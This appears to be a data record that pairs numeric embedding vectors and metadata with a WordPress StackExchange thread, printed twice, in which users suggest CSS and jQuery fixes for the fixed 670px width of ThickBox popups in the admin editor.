0.01035308837890625,
0.00042700767517089844,
-0.014312744140625,
0.04779052734375,
-0.0104827880859375,
0.037017822265625,
0.058135986328125,
0.029327392578125,
0.0004172325134277344,
-0.03692626953125,
0.0173797607421875,
-0.0184783935546875,
-0.050872802734375,
0.1146240234375,
-0.0172882080078125,
0.0389404296875,
-0.00885772705078125,
0.04522705078125,
0.051177978515625,
0.0168914794921875,
0.0213775634765625,
0.007183074951171875,
-0.024139404296875,
0.0161895751953125,
-0.025054931640625,
-0.00018513202667236328,
0.01092529296875,
0.00806427001953125,
0.0090484619140625,
-0.020843505859375,
-0.0106201171875,
0.0255584716796875,
-0.02587890625,
-0.0089111328125,
0.006580352783203125,
-0.0143890380859375,
-0.040802001953125,
0.01551055908203125,
0.031494140625,
0.0025310516357421875,
-0.027313232421875,
-0.023345947265625,
0.004486083984375,
-0.04034423828125,
0.038421630859375,
-0.0633544921875,
0.013458251953125,
0.00958251953125,
-0.00667572021484375,
0.0167999267578125,
0.008209228515625,
0.00738525390625,
-0.051361083984375,
-0.062255859375,
-0.0015439987182617188,
0.0018787384033203125,
0.06097412109375,
-0.018951416015625,
-0.01322174072265625,
0.002513885498046875,
0.0161285400390625,
-0.048248291015625,
0.01473236083984375,
0.031890869140625,
0.01386260986328125,
-0.07293701171875,
0.00927734375,
-0.033203125,
0.010040283203125,
0.018157958984375,
-0.0273590087890625,
-0.018157958984375,
-0.034393310546875,
0.01131439208984375,
0.026885986328125,
-0.0113067626953125,
-0.05230712890625,
-0.018341064453125,
0.00705718994140625,
0.018218994140625,
0.0361328125,
0.0177154541015625,
0.05255126953125,
-0.0303802490234375,
0.08599853515625,
0.0184173583984375,
0.0218048095703125,
-0.046844482421875,
-0.033660888671875,
0.0037631988525390625,
-0.0280303955078125,
0.0031604766845703125,
-0.0017023086547851562,
-0.02252197265625,
-0.0156402587890625,
0.016143798828125,
0.0030918121337890625,
-0.00682830810546875,
-0.006076812744140625,
-0.00013458728790283203,
-0.01007080078125,
0.0098876953125,
0.0039825439453125,
-0.01438140869140625,
0.01389312744140625,
-0.0305633544921875,
-0.01122283935546875,
0.02484130859375,
-0.0172271728515625,
0.039520263671875,
-0.004467010498046875,
0.0143280029296875,
0.021484375,
0.001590728759765625,
0.0175933837890625,
0.0673828125,
-0.0072784423828125,
0.043914794921875,
0.038970947265625,
0.002712249755859375,
0.033966064453125,
0.00875091552734375,
-0.012847900390625,
-0.006755828857421875,
0.0430908203125,
-0.005870819091796875,
-0.040191650390625,
0.006366729736328125,
-0.0282135009765625,
0.007144927978515625,
0.076904296875,
0.0740966796875,
-0.10150146484375,
0.00783538818359375,
0.019134521484375,
-0.006259918212890625,
0.006561279296875,
-0.0012006759643554688,
0.01324462890625,
-0.00839996337890625,
0.0163116455078125,
0.002727508544921875,
-0.0222015380859375,
-0.0009622573852539062,
-0.00650787353515625,
0.0046234130859375,
0.005523681640625,
0.0020351409912109375,
-0.0225372314453125,
-0.00748443603515625,
-0.041839599609375,
-0.007457733154296875,
-0.01337432861328125,
-0.021209716796875,
0.009002685546875,
0.00836181640625,
-0.031982421875,
-0.09393310546875,
-0.030487060546875,
-0.0163421630859375,
-0.03350830078125,
0.0089111328125,
0.043212890625,
0.007602691650390625,
0.044647216796875,
0.001583099365234375,
0.01265716552734375,
0.00665283203125,
0.00968170166015625,
0.043609619140625,
-0.044708251953125,
-0.03216552734375,
0.05120849609375,
-0.04296875,
0.00807952880859375,
0.0211944580078125,
0.0107879638671875,
-0.02374267578125,
0.033447265625,
0.09619140625,
0.01812744140625,
-0.063232421875,
0.031524658203125,
0.0059814453125,
-0.025604248046875,
-0.00888824462890625,
0.01153564453125,
-0.03582763671875,
0.00899505615234375,
-0.00955963134765625,
-0.01270294189453125,
-0.00374603271484375,
-0.0032405853271484375,
-0.0712890625,
0.0838623046875,
0.00487518310546875,
0.021331787109375,
-0.0112457275390625,
0.03521728515625,
-0.016326904296875,
0.01145172119140625,
-0.024078369140625,
0.06024169921875,
0.0323486328125,
0.042877197265625,
-0.0797119140625,
-0.0428466796875,
0.0264129638671875,
0.08258056640625,
0.0199737548828125,
0.006053924560546875,
-0.0173187255859375,
0.005748748779296875,
0.01258087158203125,
0.00787353515625,
-0.0229949951171875,
0.036895751953125,
0.00606536865234375,
0.006359100341796875,
0.04144287109375,
-0.00299072265625,
0.02923583984375,
0.00911712646484375,
-0.01100921630859375,
0.044403076171875,
0.0028858184814453125,
-0.006053924560546875,
-0.0072784423828125,
-0.021728515625,
-0.010986328125,
-0.01142120361328125,
0.0031604766845703125,
-0.0164794921875,
0.012237548828125,
0.044219970703125,
0.039459228515625,
-0.017974853515625,
-0.0171356201171875,
-0.019561767578125,
0.04669189453125,
0.0005898475646972656,
0.01800537109375,
0.005825042724609375,
0.0038356781005859375,
0.0234222412109375,
-0.01629638671875,
-0.0011491775512695312,
0.01288604736328125,
0.009490966796875,
0.044952392578125,
0.0010700225830078125,
-0.0203704833984375,
-0.058624267578125,
0.05377197265625,
0.034393310546875,
0.042266845703125,
-0.07012939453125,
-0.05029296875,
0.0165252685546875,
0.006267547607421875,
-0.04547119140625,
-0.0032501220703125,
-0.0625,
0.01015472412109375,
0.074462890625,
-0.0172119140625,
-0.01232147216796875,
0.0021152496337890625,
0.02532958984375,
0.01534271240234375,
0.027923583984375,
-0.035125732421875,
-0.033843994140625,
-0.04412841796875,
-0.0024127960205078125,
0.01137542724609375,
0.05615234375,
0.045074462890625,
0.0491943359375,
0.027496337890625,
-0.0253143310546875,
-0.037322998046875,
0.0186614990234375,
0.029022216796875,
0.04302978515625,
-0.035125732421875,
0.00312042236328125,
0.00975799560546875,
0.03070068359375,
0.0260162353515625,
0.01070404052734375,
0.0169830322265625,
0.017669677734375,
0.00711822509765625,
0.011199951171875,
0.04119873046875,
-0.01380157470703125,
-0.0384521484375,
-0.04229736328125,
-0.03271484375,
0.00911712646484375,
-0.0090789794921875,
-0.0007295608520507812,
-0.017547607421875,
0.0192413330078125,
-0.01641845703125,
0.050140380859375,
-0.0038089752197265625,
-0.0150146484375,
0.01003265380859375,
-0.0156402587890625,
0.06561279296875,
0.0175018310546875,
-0.05181884765625,
-0.0015058517456054688,
-0.051605224609375,
-0.051177978515625,
0.0377197265625,
0.04571533203125,
0.0021228790283203125,
0.00247955322265625,
0.01428985595703125,
-0.0045623779296875,
0.007640838623046875,
-0.0025920867919921875,
0.0231170654296875,
-0.0014181137084960938,
-0.00394439697265625,
0.0028209686279296875,
-0.042022705078125,
-0.002750396728515625,
0.01580810546875,
-0.0102386474609375,
-0.0250244140625,
0.043121337890625,
0.008148193359375,
-0.0005025863647460938,
-0.025726318359375,
0.0013227462768554688,
-0.00823211669921875,
-0.0233001708984375,
0.049041748046875,
0.025390625,
0.00023257732391357422,
-0.0187835693359375,
0.0225372314453125,
0.0460205078125,
-0.0045623779296875,
-0.041717529296875,
-0.004062652587890625,
0.00446319580078125,
0.010101318359375,
0.01035308837890625,
-0.00565338134765625,
-0.020965576171875,
-0.0257720947265625,
-0.01435089111328125,
-0.0089263916015625,
0.01898193359375,
0.01776123046875,
-0.0006341934204101562,
-0.01263427734375,
0.06610107421875,
-0.02825927734375,
0.04052734375,
-0.005290985107421875,
0.10772705078125,
0.060150146484375,
-0.011993408203125,
-0.012420654296875,
-0.0128021240234375,
-0.0275421142578125,
0.01053619384765625,
0.0034465789794921875,
0.0179290771484375,
0.0034046173095703125,
-0.0032634735107421875,
0.0260162353515625,
0.01332855224609375,
0.037628173828125,
-0.0406494140625,
0.003948211669921875,
0.04541015625,
0.005786895751953125,
0.029052734375,
0.0000040531158447265625,
-0.0300445556640625,
-0.031890869140625,
0.0240478515625,
0.01461029052734375,
0.01470184326171875,
-0.04022216796875,
-0.05682373046875,
-0.0198211669921875,
0.038299560546875,
0.00601959228515625,
-0.047760009765625,
0.004367828369140625,
-0.017974853515625,
0.0141448974609375,
-0.00562286376953125,
0.0179901123046875,
0.009063720703125,
0.0631103515625,
-0.009490966796875,
0.02740478515625,
-0.023895263671875,
-0.01611328125,
0.00951385498046875,
0.0582275390625,
0.054107666015625,
-0.042633056640625,
-0.003692626953125,
0.0411376953125,
0.047393798828125,
0.07806396484375,
0.0411376953125,
-0.0264129638671875,
-0.0023651123046875,
-0.001007080078125,
-0.0120697021484375,
-0.0625,
0.024444580078125,
-0.084716796875,
-0.0077667236328125,
-0.0256805419921875,
0.0288848876953125,
0.02960205078125,
-0.0137939453125,
-0.01552581787109375,
0.03656005859375,
0.007015228271484375,
-0.016754150390625,
-0.0028533935546875,
-0.018524169921875,
-0.0301055908203125,
0.06829833984375,
0.01953125,
-0.0455322265625,
-0.018402099609375,
0.00885772705078125,
0.01154327392578125,
-0.01116943359375,
0.052398681640625,
0.016998291015625,
-0.0621337890625,
-0.00360870361328125,
-0.024810791015625,
-0.0055694580078125,
0.0158843994140625,
-0.0220947265625,
0.01450347900390625,
0.0024318695068359375,
-0.060211181640625,
-0.10040283203125,
-0.01122283935546875,
0.034576416015625,
-0.0032100677490234375,
-0.050079345703125,
-0.06756591796875,
-0.050445556640625,
0.06817626953125,
0.035736083984375,
0.01416015625,
-0.0081024169921875,
0.0123138427734375,
-0.027618408203125,
-0.05712890625,
-0.0220947265625,
0.0249176025390625,
-0.078369140625,
-0.02435302734375,
0.028076171875,
0.003780364990234375,
-0.0298309326171875,
0.01520538330078125,
-0.0191192626953125,
-0.004863739013671875,
0.06292724609375,
0.00275421142578125,
0.00010311603546142578,
0.0189666748046875,
0.07049560546875,
-0.0567626953125,
-0.0204925537109375,
0.01885986328125,
-0.0173797607421875,
0.018707275390625,
0.0006394386291503906,
-0.033843994140625,
-0.036163330078125,
-0.0275726318359375,
0.037322998046875,
-0.0291595458984375,
0.0635986328125,
-0.046051025390625,
-0.014862060546875,
-0.0294036865234375,
0.0224151611328125,
-0.0112762451171875,
0.0012254714965820312,
-0.0004496574401855469,
0.01348114013671875,
0.01082611083984375,
0.056488037109375,
-0.030731201171875,
0.0347900390625,
-0.0247955322265625,
0.0279388427734375,
-0.00888824462890625,
0.0169677734375,
0.0269317626953125,
0.007274627685546875,
-0.0001659393310546875,
0.016937255859375,
-0.053680419921875,
-0.01486968994140625,
-0.00942230224609375,
0.015533447265625,
-0.021636962890625,
0.007724761962890625
] |
6f7e3e143170d3c03f8814dd2019541da3394333
|
Wordpress Stackexchange
Q: ThickBox width can't be changed in admin I'm trying to make pop up in admin area (in post edit screen) and i can't make my thickbox wider then 670px (width: 670px).
Here's my thickbox code that shows thickbox:
tb_show( ed.getLang('m7.popup_title'), '#TB_inline?width=800&height=600&inlineId=mygallery-form' );
(it works after clicking the tinyMCE button)
and i get div with id="TB_window"
<div id="TB_window" style="width: 670px; height: 216px; margin-left: -335px; top: 48px; margin-top: 0px; visibility: visible;">
(code is from google browser)
So if i manualy change width and then resize browser it gives 670px back to width..
Can it be somehow changed so that thickbox show all the content wich is 800px wide ?
it creates insede #TB_window div with id="TB_ajaxContent" wich is 800px wide
A: Your are correct it cannot be changed and it looks like there has been no change on this since your question. There is a ticket if anyone is interested in working on this in the Wordpress core...
Wordpress Core Trac
|
Q: ThickBox width can't be changed in admin I'm trying to make pop up in admin area (in post edit screen) and i can't make my thickbox wider then 670px (width: 670px).
Here's my thickbox code that shows thickbox:
tb_show( ed.getLang('m7.popup_title'), '#TB_inline?width=800&height=600&inlineId=mygallery-form' );
(it works after clicking the tinyMCE button)
and i get div with id="TB_window"
<div id="TB_window" style="width: 670px; height: 216px; margin-left: -335px; top: 48px; margin-top: 0px; visibility: visible;">
(code is from google browser)
So if i manualy change width and then resize browser it gives 670px back to width..
Can it be somehow changed so that thickbox show all the content wich is 800px wide ?
it creates insede #TB_window div with id="TB_ajaxContent" wich is 800px wide
A: Your are correct it cannot be changed and it looks like there has been no change on this since your question. There is a ticket if anyone is interested in working on this in the Wordpress core...
Wordpress Core Trac
A: For this case you can use css to force minimum width to 800px
#TB_window {
min-width:800px!important;
}
A: I know this post is old but you can just reset the element's style attribute by using the setAttribute function just below the tb_show().
tb_show( ed.getLang('m7.popup_title'), '#TB_inline?width=800&height=600&inlineId=mygallery-form' );
// Get the id of the element
var tb = document.getElementById('TB_ajaxContent');
// set the attribute to an empty string or your desired width/height.
tb.setAttribute('style', '');
If you set the style attribute to an empty string you should be able to use css from an external file instead of inline.
A: From the comment under my question ( may be someone could miss it, so posting it as an answer )[PS: slightly modifyed it]:
I think i found a solution how to change the width, but that's not the real solution.. I still don't get it why thickbox width is 670px (as u can see in my code (will follow next) the global thickbox width is set like the passed arg!! ) So the solution was:
function m7_resize_thickbox(){
jQuery(document).find('#TB_window').width(TB_WIDTH).height(TB_HEIGHT).css('margin-left', - TB_WIDTH / 2);
}
jQuery( document ).on( 'ready', function() {
tb_show( ed.getLang('m7.popup_title'), '#TB_inline?width=800&height=600&inlineId=mygallery-form' );
m7_resize_thickbox(); // after tb_show we need to update width/height values; we could also do something like jQuery( window ).trigger( 'resize' );
}
jQuery(window).on( 'resize', m7_resize_thickbox );
A: I ran into this issue as well but needed to add height, I found this css code to be very effective!
.thickbox-loading {
min-height: 500px!Important;
}
I put this in the CSS for the plug-in I was having an issue with, in the Admin area for that particular plug-in so it shouldn't effect anything else.
Hope this helps!
A: possible solution -call this function (https://codex.wordpress.org/Javascript_Reference/ThickBox):
add_thickbox();
somewhere in your php
for me it worked :)
|
wordpress
|
{
"language": "en",
"length": 452,
"provenance": "stackexchange_00019.jsonl.gz:437069",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114107"
}
|
[
-0.0308074951171875,
-0.031585693359375,
-0.038360595703125,
0.00330352783203125,
-0.030670166015625,
-0.030975341796875,
-0.0034542083740234375,
0.01078033447265625,
0.065185546875,
0.00931549072265625,
-0.0633544921875,
0.026641845703125,
-0.047943115234375,
0.004299163818359375,
-0.05206298828125,
-0.025360107421875,
0.060394287109375,
-0.02142333984375,
0.033660888671875,
-0.00791168212890625,
0.01369476318359375,
0.0179290771484375,
0.0298004150390625,
0.12744140625,
0.01227569580078125,
-0.06195068359375,
0.09991455078125,
-0.0274810791015625,
0.003154754638671875,
-0.03900146484375,
0.022430419921875,
0.0131378173828125,
0.01282501220703125,
0.033477783203125,
-0.05145263671875,
-0.049163818359375,
-0.0027065277099609375,
0.0010347366333007812,
-0.01215362548828125,
0.019989013671875,
0.00621795654296875,
-0.00298309326171875,
0.028533935546875,
-0.0086517333984375,
-0.020416259765625,
0.0084381103515625,
-0.0083465576171875,
-0.0219268798828125,
0.03387451171875,
-0.038238525390625,
0.0293121337890625,
0.03277587890625,
0.044952392578125,
-0.026947021484375,
-0.0277099609375,
0.00012373924255371094,
-0.0308380126953125,
-0.00848388671875,
0.016326904296875,
0.021087646484375,
0.015472412109375,
-0.005756378173828125,
0.00655364990234375,
-0.0079345703125,
-0.040191650390625,
-0.029205322265625,
0.005580902099609375,
-0.007564544677734375,
-0.030517578125,
-0.022735595703125,
0.0401611328125,
0.01129150390625,
0.00015544891357421875,
-0.020660400390625,
-0.04083251953125,
0.0207061767578125,
0.0073089599609375,
-0.032684326171875,
0.0175628662109375,
-0.0362548828125,
0.02166748046875,
0.030426025390625,
-0.00902557373046875,
-0.0014848709106445312,
0.0103607177734375,
0.03387451171875,
-0.007709503173828125,
-0.032684326171875,
0.004421234130859375,
-0.0305633544921875,
-0.015625,
-0.058258056640625,
0.019134521484375,
0.0123138427734375,
-0.0243377685546875,
-0.0416259765625,
-0.0234832763671875,
-0.0265350341796875,
0.0249786376953125,
0.00859832763671875,
0.0177154541015625,
-0.03179931640625,
0.006946563720703125,
-0.0017986297607421875,
-0.0096435546875,
0.025543212890625,
-0.0243682861328125,
0.046356201171875,
0.048675537109375,
0.0328369140625,
-0.00017964839935302734,
-0.003833770751953125,
-0.05377197265625,
0.0254058837890625,
-0.03289794921875,
0.003704071044921875,
-0.0721435546875,
0.0038299560546875,
-0.047821044921875,
0.04400634765625,
-0.01056671142578125,
-0.0026149749755859375,
0.03173828125,
0.037445068359375,
0.0064544677734375,
0.026947021484375,
-0.001651763916015625,
-0.0447998046875,
-0.01517486572265625,
0.0019550323486328125,
-0.038177490234375,
-0.0003376007080078125,
0.03948974609375,
0.051544189453125,
0.036712646484375,
-0.0014600753784179688,
0.0287322998046875,
-0.03411865234375,
0.0012378692626953125,
-0.0097808837890625,
0.01611328125,
0.01012420654296875,
0.01441192626953125,
-0.01155853271484375,
-0.03521728515625,
0.031341552734375,
0.0300140380859375,
0.0036182403564453125,
-0.039825439453125,
-0.106689453125,
0.03472900390625,
-0.019744873046875,
0.06268310546875,
0.035125732421875,
-0.027099609375,
0.01029205322265625,
0.1436767578125,
-0.053863525390625,
-0.10113525390625,
-0.08709716796875,
-0.0174560546875,
0.039520263671875,
0.09869384765625,
-0.031158447265625,
-0.0008687973022460938,
-0.041778564453125,
-0.08984375,
0.0019321441650390625,
0.03033447265625,
-0.048065185546875,
0.0313720703125,
0.005519866943359375,
-0.022003173828125,
0.013427734375,
0.0235595703125,
0.01322174072265625,
0.038543701171875,
0.0284881591796875,
0.037261962890625,
0.005222320556640625,
-0.02423095703125,
-0.034423828125,
0.13427734375,
-0.0731201171875,
0.0143585205078125,
-0.016021728515625,
-0.003513336181640625,
-0.0278472900390625,
0.003204345703125,
0.01428985595703125,
-0.0310516357421875,
0.029998779296875,
0.00514984130859375,
-0.02557373046875,
0.006374359130859375,
0.004131317138671875,
-0.01186370849609375,
0.021942138671875,
-0.006351470947265625,
0.0024242401123046875,
0.00908660888671875,
-0.046905517578125,
0.032928466796875,
-0.004180908203125,
-0.037506103515625,
-0.0197906494140625,
-0.0233154296875,
0.01277923583984375,
0.025146484375,
0.03521728515625,
0.005687713623046875,
0.04254150390625,
-0.0225372314453125,
-0.037841796875,
-0.0138092041015625,
0.0274200439453125,
-0.007099151611328125,
0.034881591796875,
0.005237579345703125,
0.01059722900390625,
0.00597381591796875,
-0.0123138427734375,
0.014007568359375,
-0.00594329833984375,
0.01214599609375,
0.0237579345703125,
-0.0199432373046875,
0.0030689239501953125,
0.006374359130859375,
0.0031280517578125,
-0.0126953125,
0.037109375,
0.03192138671875,
0.05010986328125,
-0.0256195068359375,
-0.030364990234375,
-0.0499267578125,
-0.059478759765625,
0.005260467529296875,
0.043609619140625,
0.034942626953125,
0.0299072265625,
0.01018524169921875,
0.00848388671875,
0.052520751953125,
-0.00882720947265625,
0.0146942138671875,
-0.0159759521484375,
-0.029327392578125,
-0.0001417398452758789,
0.01983642578125,
-0.01068115234375,
0.0305023193359375,
-0.008209228515625,
-0.01064300537109375,
0.040069580078125,
-0.018798828125,
0.0233612060546875,
-0.018096923828125,
0.025909423828125,
-0.0208740234375,
0.01111602783203125,
0.02020263671875,
-0.02191162109375,
0.004215240478515625,
-0.0118408203125,
0.0145416259765625,
0.003917694091796875,
-0.01666259765625,
-0.005802154541015625,
0.025238037109375,
-0.00904083251953125,
0.0036869049072265625,
0.017852783203125,
0.0250396728515625,
0.002216339111328125,
-0.05120849609375,
-0.00400543212890625,
0.0259552001953125,
0.00946044921875,
-0.009521484375,
0.02679443359375,
-0.0654296875,
-0.0128936767578125,
-0.00446319580078125,
-0.058197021484375,
-0.01349639892578125,
0.0352783203125,
0.0284271240234375,
0.006710052490234375,
0.009613037109375,
0.0693359375,
-0.0073699951171875,
0.0814208984375,
-0.0227508544921875,
0.0012559890747070312,
0.025177001953125,
-0.057525634765625,
0.046844482421875,
-0.031524658203125,
0.10498046875,
0.09173583984375,
0.006900787353515625,
0.0081939697265625,
-0.01073455810546875,
0.0218505859375,
-0.05181884765625,
0.022125244140625,
0.00940704345703125,
-0.01166534423828125,
-0.008819580078125,
0.03570556640625,
0.004283905029296875,
0.044464111328125,
-0.0302886962890625,
-0.051971435546875,
-0.0157012939453125,
0.0245513916015625,
0.01953125,
0.07647705078125,
-0.0413818359375,
-0.07928466796875,
-0.0179290771484375,
-0.00982666015625,
-0.049591064453125,
0.01267242431640625,
0.025177001953125,
0.008209228515625,
0.0008249282836914062,
-0.0225677490234375,
-0.017822265625,
-0.0277099609375,
-0.036285400390625,
-0.039154052734375,
0.007541656494140625,
-0.01251983642578125,
0.006160736083984375,
0.030487060546875,
-0.0028018951416015625,
-0.047210693359375,
-0.014892578125,
0.0499267578125,
-0.03155517578125,
-0.043487548828125,
0.01219940185546875,
-0.005649566650390625,
-0.0290069580078125,
0.00836181640625,
-0.0263671875,
0.0166015625,
-0.017425537109375,
-0.006988525390625,
-0.01297760009765625,
-0.054840087890625,
0.006839752197265625,
0.002414703369140625,
-0.013702392578125,
-0.044464111328125,
0.018035888671875,
-0.06201171875,
0.01361846923828125,
0.01453399658203125,
-0.0167083740234375,
-0.0254364013671875,
0.00136566162109375,
-0.034515380859375,
0.03240966796875,
-0.0418701171875,
-0.006481170654296875,
-0.006244659423828125,
0.0272369384765625,
-0.0195770263671875,
-0.001201629638671875,
-0.0185699462890625,
-0.005977630615234375,
-0.02276611328125,
0.05419921875,
-0.00469970703125,
-0.03021240234375,
0.005435943603515625,
0.0014362335205078125,
-0.0058135986328125,
0.008758544921875,
-0.0079345703125,
-0.04974365234375,
0.044708251953125,
-0.00864410400390625,
-0.00408172607421875,
0.0135040283203125,
-0.0282745361328125,
0.0478515625,
0.0948486328125,
-0.06256103515625,
-0.0153350830078125,
0.0073699951171875,
0.015869140625,
-0.00782012939453125,
-0.0416259765625,
-0.034515380859375,
-0.015594482421875,
-0.080078125,
-0.004154205322265625,
0.0113067626953125,
-0.057525634765625,
-0.024627685546875,
0.046295166015625,
-0.0755615234375,
-0.020782470703125,
0.004047393798828125,
0.02154541015625,
-0.0167999267578125,
-0.0012273788452148438,
-0.02264404296875,
-0.0023193359375,
0.015960693359375,
-0.0172271728515625,
-0.1507568359375,
-0.02667236328125,
0.000621795654296875,
0.076416015625,
-0.02362060546875,
-0.005687713623046875,
-0.056060791015625,
0.037994384765625,
-0.0010395050048828125,
0.012542724609375,
0.00908660888671875,
0.0121612548828125,
0.0258636474609375,
-0.0217132568359375,
-0.0018358230590820312,
-0.03485107421875,
0.002777099609375,
-0.0177764892578125,
-0.0283966064453125,
0.0209503173828125,
-0.0242156982421875,
0.0098724365234375,
0.0006489753723144531,
-0.015960693359375,
-0.059295654296875,
-0.05078125,
-0.03350830078125,
-0.00982666015625,
-0.0277099609375,
0.018798828125,
-0.04986572265625,
-0.058380126953125,
0.0287322998046875,
0.047119140625,
-0.0030975341796875,
-0.01045989990234375,
0.02935791015625,
0.0224609375,
-0.04656982421875,
-0.00970458984375,
-0.044097900390625,
0.038543701171875,
0.02777099609375,
-0.003330230712890625,
0.0004162788391113281,
-0.0478515625,
0.055877685546875,
0.035919189453125,
0.015655517578125,
-0.0116424560546875,
0.07806396484375,
0.0183563232421875,
-0.026580810546875,
0.032623291015625,
0.00450897216796875,
-0.07635498046875,
-0.02166748046875,
-0.0003001689910888672,
-0.027618408203125,
-0.0018558502197265625,
0.04156494140625,
0.041351318359375,
-0.0117034912109375,
-0.034942626953125,
-0.045928955078125,
0.007564544677734375,
0.032318115234375,
0.04833984375,
0.0041961669921875,
0.0127410888671875,
0.04046630859375,
0.04803466796875,
-0.0179443359375,
0.0192413330078125,
-0.00733184814453125,
0.024322509765625,
0.01267242431640625,
0.03521728515625,
-0.01132965087890625,
0.00681304931640625,
-0.0036334991455078125,
0.029998779296875,
0.01116180419921875,
-0.007396697998046875,
-0.04119873046875,
0.0013570785522460938,
0.01494598388671875,
-0.00878143310546875,
-0.02691650390625,
-0.01776123046875,
0.0160675048828125,
-0.0114288330078125,
-0.0008215904235839844,
0.0269012451171875,
-0.03253173828125,
-0.0235595703125,
0.046661376953125,
0.0220184326171875,
0.0024852752685546875,
0.01348876953125,
0.049957275390625,
0.056793212890625,
-0.0004169940948486328,
-0.0244293212890625,
0.02093505859375,
0.0107879638671875,
0.0257415771484375,
0.01371002197265625,
0.003940582275390625,
-0.0052032470703125,
0.0135650634765625,
-0.005184173583984375,
0.00855255126953125,
-0.00147247314453125,
0.0157928466796875,
0.0014295578002929688,
0.051116943359375,
0.03594970703125,
-0.03045654296875,
0.00335693359375,
-0.02178955078125,
0.04022216796875,
0.022552490234375,
-0.040679931640625,
-0.0129852294921875,
0.0296630859375,
0.0164337158203125,
0.0003294944763183594,
-0.01554107666015625,
-0.0106201171875,
-0.041595458984375,
-0.017730712890625,
-0.01141357421875,
-0.0263671875,
0.007228851318359375,
0.01702880859375,
-0.0260772705078125,
-0.046234130859375,
-0.033538818359375,
-0.022552490234375,
-0.00971221923828125,
0.00836944580078125,
0.003021240234375,
-0.0055084228515625,
-0.00691986083984375,
0.0006628036499023438,
-0.0139923095703125,
-0.005970001220703125,
-0.0029888153076171875,
0.0003905296325683594,
0.02923583984375,
-0.005428314208984375,
0.01068115234375,
0.00881195068359375,
-0.0256195068359375,
-0.045806884765625,
-0.051849365234375,
-0.0260467529296875,
-0.03997802734375,
-0.01084136962890625,
-0.0074920654296875,
0.000392913818359375,
-0.008758544921875,
-0.0273284912109375,
0.01197052001953125,
0.019317626953125,
0.0095062255859375,
0.011962890625,
-0.0036773681640625,
0.018585205078125,
0.028533935546875,
0.041717529296875,
0.004467010498046875,
-0.0298614501953125,
-0.046417236328125,
-0.0117034912109375,
0.00859832763671875,
-0.037017822265625,
-0.0251922607421875,
0.01806640625,
-0.0565185546875,
-0.024017333984375,
-0.0032749176025390625,
-0.022064208984375,
0.002532958984375,
-0.01108551025390625,
0.00406646728515625,
-0.03717041015625,
0.062469482421875,
-0.019439697265625,
0.0249786376953125,
0.0002658367156982422,
-0.0205230712890625,
0.0288543701171875,
0.0014524459838867188,
-0.0017871856689453125,
0.0242156982421875,
-0.03692626953125,
0.0256500244140625,
0.033172607421875,
-0.00492095947265625,
0.036163330078125,
0.09326171875,
0.03704833984375,
0.054443359375,
0.03802490234375,
0.0176849365234375,
-0.0210418701171875,
0.002399444580078125,
-0.0277557373046875,
0.035919189453125,
0.059844970703125,
-0.00318145751953125,
-0.024566650390625,
0.0180816650390625,
-0.0163116455078125,
0.0192108154296875,
0.01470947265625,
0.05523681640625,
-0.04931640625,
0.0239105224609375,
-0.0025081634521484375,
-0.03204345703125,
0.0531005859375,
-0.007106781005859375,
0.009857177734375,
0.00183868408203125,
0.0276947021484375,
0.0245361328125,
-0.0008602142333984375,
0.040496826171875,
0.01837158203125,
-0.00237274169921875,
-0.0064697265625,
0.05169677734375,
0.022674560546875,
-0.06329345703125,
0.050994873046875,
-0.0015344619750976562,
0.059906005859375,
0.003566741943359375,
0.04345703125,
-0.08123779296875,
0.005435943603515625,
0.0049285888671875,
-0.0251007080078125,
0.0028476715087890625,
-0.01470184326171875,
0.0004916191101074219,
-0.00658416748046875,
0.00353240966796875,
0.042999267578125,
-0.035980224609375,
0.0357666015625,
-0.01090240478515625,
0.037750244140625,
0.03082275390625,
0.0030384063720703125,
0.005016326904296875,
0.04718017578125,
-0.08807373046875,
0.0095672607421875,
-0.0389404296875,
0.0479736328125,
-0.0165863037109375,
0.0253143310546875,
0.09808349609375,
0.00832366943359375,
-0.04345703125,
0.0394287109375,
-0.0218353271484375,
-0.04052734375,
0.0162200927734375,
0.004791259765625,
-0.03857421875,
-0.023712158203125,
0.0113677978515625,
-0.039581298828125,
-0.017303466796875,
0.00862884521484375,
-0.071533203125,
0.029144287109375,
0.01177978515625,
0.01224517822265625,
-0.034515380859375,
0.01739501953125,
0.008056640625,
-0.00008350610733032227,
0.00888824462890625,
0.0189666748046875,
0.01491546630859375,
-0.026397705078125,
0.00717926025390625,
0.0080413818359375,
-0.00382232666015625,
0.005615234375,
-0.037750244140625,
-0.01363372802734375,
-0.01157379150390625,
0.00684356689453125,
0.06488037109375,
0.0088958740234375,
0.0240478515625,
0.0369873046875,
0.00884246826171875,
0.0347900390625,
-0.01171875,
-0.004390716552734375,
0.0149078369140625,
-0.009735107421875,
-0.0704345703125,
0.05352783203125,
0.020111083984375,
0.037506103515625,
0.049957275390625,
0.0499267578125,
0.001972198486328125,
0.016876220703125,
0.0263671875,
-0.06005859375,
-0.04144287109375,
0.029052734375,
-0.0008225440979003906,
-0.06298828125,
0.004596710205078125,
-0.04766845703125,
0.0301055908203125,
0.013519287109375,
-0.01495361328125,
-0.00988006591796875,
0.0020084381103515625,
0.0179901123046875,
-0.0119781494140625,
-0.017852783203125,
0.0297698974609375,
0.0010747909545898438,
0.0106201171875,
0.00528717041015625,
0.01068878173828125,
-0.0213775634765625,
0.003070831298828125,
0.048431396484375,
0.0216217041015625,
-0.0130767822265625,
-0.0171966552734375,
-0.006832122802734375,
0.01084136962890625,
0.007099151611328125,
-0.01421356201171875,
0.00545501708984375,
0.04498291015625,
0.0562744140625,
-0.0211334228515625,
-0.01416778564453125,
0.024932861328125,
0.025909423828125,
0.00783538818359375,
0.00940704345703125,
-0.0110931396484375,
-0.021087646484375,
-0.033905029296875,
0.01131439208984375,
-0.004985809326171875,
0.024810791015625,
0.0276031494140625,
0.007568359375,
0.032073974609375,
-0.0029392242431640625,
-0.0200958251953125,
-0.0159454345703125,
0.03179931640625,
-0.00823211669921875,
0.006500244140625,
0.036285400390625,
0.0193634033203125,
0.0168304443359375,
-0.0213165283203125,
0.01284027099609375,
0.01238250732421875,
0.027313232421875,
-0.03265380859375,
-0.0220794677734375,
0.003421783447265625,
-0.031341552734375,
-0.01116943359375,
-0.037078857421875,
0.0138702392578125,
0.0214996337890625,
0.0007824897766113281,
-0.006134033203125,
0.004669189453125,
0.042510986328125,
-0.001659393310546875,
0.03216552734375,
0.01727294921875,
0.01210784912109375,
-0.0191192626953125,
0.01226043701171875,
-0.0335693359375,
0.031951904296875,
-0.04345703125,
-0.0186767578125,
0.003101348876953125,
